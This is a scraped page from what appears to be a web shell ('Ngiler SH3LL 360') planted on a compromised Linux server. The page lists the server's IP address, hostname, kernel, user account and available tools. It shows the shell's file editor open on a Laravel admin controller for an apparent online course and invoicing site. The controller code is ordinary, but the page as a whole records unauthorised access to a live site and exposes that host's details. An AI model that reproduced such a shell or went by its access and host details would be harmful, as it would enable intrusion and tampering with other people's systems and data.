Ngiler SH3LL 360
Home
Information
Create File
Create Folder
:
/
home
/
tbf
/
tbf.ro
/
app
/
Http
/
Controllers
/
Information Server
MySQL :
OFF
Perl :
OFF
CURL :
ON
WGET :
OFF
PKEXEC :
OFF
Directive
Local Value
IP Address
89.40.16.97
System
Linux server.atelieruldeit.ro 3.10.0-1160.el7.x86_64 #1 SMP Mon Oct 19 16:18:59 UTC 2020 x86_64
User
tbf
PHP Version
7.3.33
Software
Apache
Doc root
Writable
close
Edit File :
AdminController.php
| Size :
6.89
KB
Copy
<?php namespace App\Http\Controllers; use Illuminate\Http\Request; use App\Repositories\InvoiceRepository; use Illuminate\Support\Facades\Validator; use Illuminate\Support\Facades\Input; use Carbon\Carbon; use App\Order; use App\Invoice; use App\User; use App\Course; use App\Question; use PDF; use View; class AdminController extends Controller { public function invoices() { $invoices = Invoice::with('order')->where('id','>=',0); if (isset($_GET["start_date"]) && $_GET["start_date"] != ""){ $invoices = $invoices->where("created_at",">=",Carbon::parse($_GET["start_date"])->startOfDay()); } if (isset($_GET["end_date"]) && $_GET["end_date"] != ""){ $invoices = $invoices->where("created_at","<=",Carbon::parse($_GET["end_date"])->endOfDay()); } $invoices = $invoices->orderBy('created_at','desc')->paginate(25); return view('admin.invoices', compact('invoices')); } public function destroy_invoice($id) { Order::destroy($id); return redirect()->back(); } public function download_invoice($id) { $invoice = Invoice::findOrFail($id); if ($invoice->currency == "EUR") { $pdf = PDF::loadView('invoices.download_eur', compact('invoice')); }else{ $pdf = PDF::loadView('invoices.download', compact('invoice')); } return $pdf->download($invoice->series."-".$invoice->number.'.pdf'); } public function download_multiple() { $invoices = Invoice::all(); if(isset($_GET["start_date"]) && $_GET["start_date"] != ""){ $invoices = $invoices->where('created_at','>=',Carbon::parse($_GET["start_date"])->startOfDay()); } if(isset($_GET["end_date"]) && $_GET["end_date"] != ""){ $invoices = $invoices->where('created_at','<=',Carbon::parse($_GET["end_date"])->endOfDay()); } $pdf = PDF::loadView('invoices.download_multiple_invoices', compact('invoices')); return $pdf->download('invoices.pdf'); } public function preview_invoice($id) { $order = Order::findOrFail($id); $from_generate = true; $invoice = InvoiceRepository::generateInvoice($order); return view('invoices.download', compact('invoice','from_generate')); } public function generate_invoice($id) { $order = Order::findOrFail($id); $order->update(['status' => 'paid']); $invoice = InvoiceRepository::generateInvoice($order); $invoice->save(); sendMailWithInvoice($invoice); return redirect()->route('admin.invoices'); } public function orders() { $orders = Order::with(['user','course'])->where([['id','>=',0],['status','!=','access_free']]); if (isset($_GET["search"]) && $_GET["search"] != ""){ $user_ids = User::where('name', 'like', '%' . $_GET['search'] . '%')->orWhere('last_name', 'like', '%' . $_GET['search'] . '%')->orWhere('email', 'like', '%' . $_GET['search'] . '%')->pluck('id')->toArray(); $orders = $orders->whereIn('user_id', $user_ids); } $orders = $orders->orderBy('created_at','desc')->paginate(25); return view('admin.orders', compact('orders')); } public function users() { $users = User::with('progress_courses')->where('id','>=',0); if (isset($_GET["search"]) && $_GET["search"] != ""){ $users = $users->where('name', 'like', '%' . $_GET['search'] . '%')->orWhere('last_name', 'like', '%' . $_GET['search'] . '%')->orWhere('email', 'like', '%' . $_GET['search'] . '%'); } $users = $users->orderBy('created_at','desc')->paginate(25); return view('admin.users', compact('users')); } public function show_user($id) { $user = User::findOrFail($id); // $user_orders = $user->orders()->with('course')->where('status','paid')->get(); $user_courses = $user->progress_courses()->get(); $courses = Course::where('status', 'active')->whereHas('lessons')->get(); // $user_courses_paid = $user->orders->where('status','paid')->pluck('course_id')->toArray(); // $user_courses_access_free = $user->orders->where('status','access_free')->pluck('course_id')->toArray(); return view('admin.show_user', compact('user', 'user_courses', 'courses')); } public function course_free_access(Request $request) { $user = User::findOrFail($request->user_id); $user_courses_access_free = $user->orders->where('status','access_free')->pluck('id')->toArray(); foreach($user_courses_access_free as $free_course){ if(!$request->course_ids){ Order::destroy($free_course); }elseif(!in_array($free_course, $request->course_ids)){ Order::destroy($free_course); } } if($request->course_ids){ foreach($request->course_ids as $course_id){ if(!in_array($course_id, $user_courses_access_free)){ Order::create([ 'course_id' => $course_id, 'status' => 'access_free', 'user_id' => $user->id, ]); } } } return redirect()->back(); } public function add_user(Request $request) { $rules = [ 'name' => 'required|string|max:255', 'email' => 'required|string|email|max:255|unique:users', ]; $validator = Validator::make(Input::all(), $rules); if ($validator->fails()) { $messages = $validator->messages(); return response()->json($messages, 500); }else{ $rand_password = str_random(8); $user = User::create([ 'name' => $request->name, 'last_name' => $request->last_name, 'phone' => $request->phone, 'email' => $request->email, 'password' => bcrypt($rand_password), ]); // Send email to the user with password new_user_created_mail($user,$rand_password); return response()->json(); } } public function questions() { $questions = Question::orderBy('created_at','desc')->paginate(25); return view('admin.questions', compact('questions')); } public function show_question($id) { $question = Question::findOrFail($id); return view('admin.show_question', compact('question')); } public function update_question($id){ $question = Question::findOrFail($id); if($question->status == 'new'){ $question->status = 'read'; }else if($question->status == 'read'){ $question->status = 'new'; } $question->save(); return redirect()->route('admin.questions'); } }
Back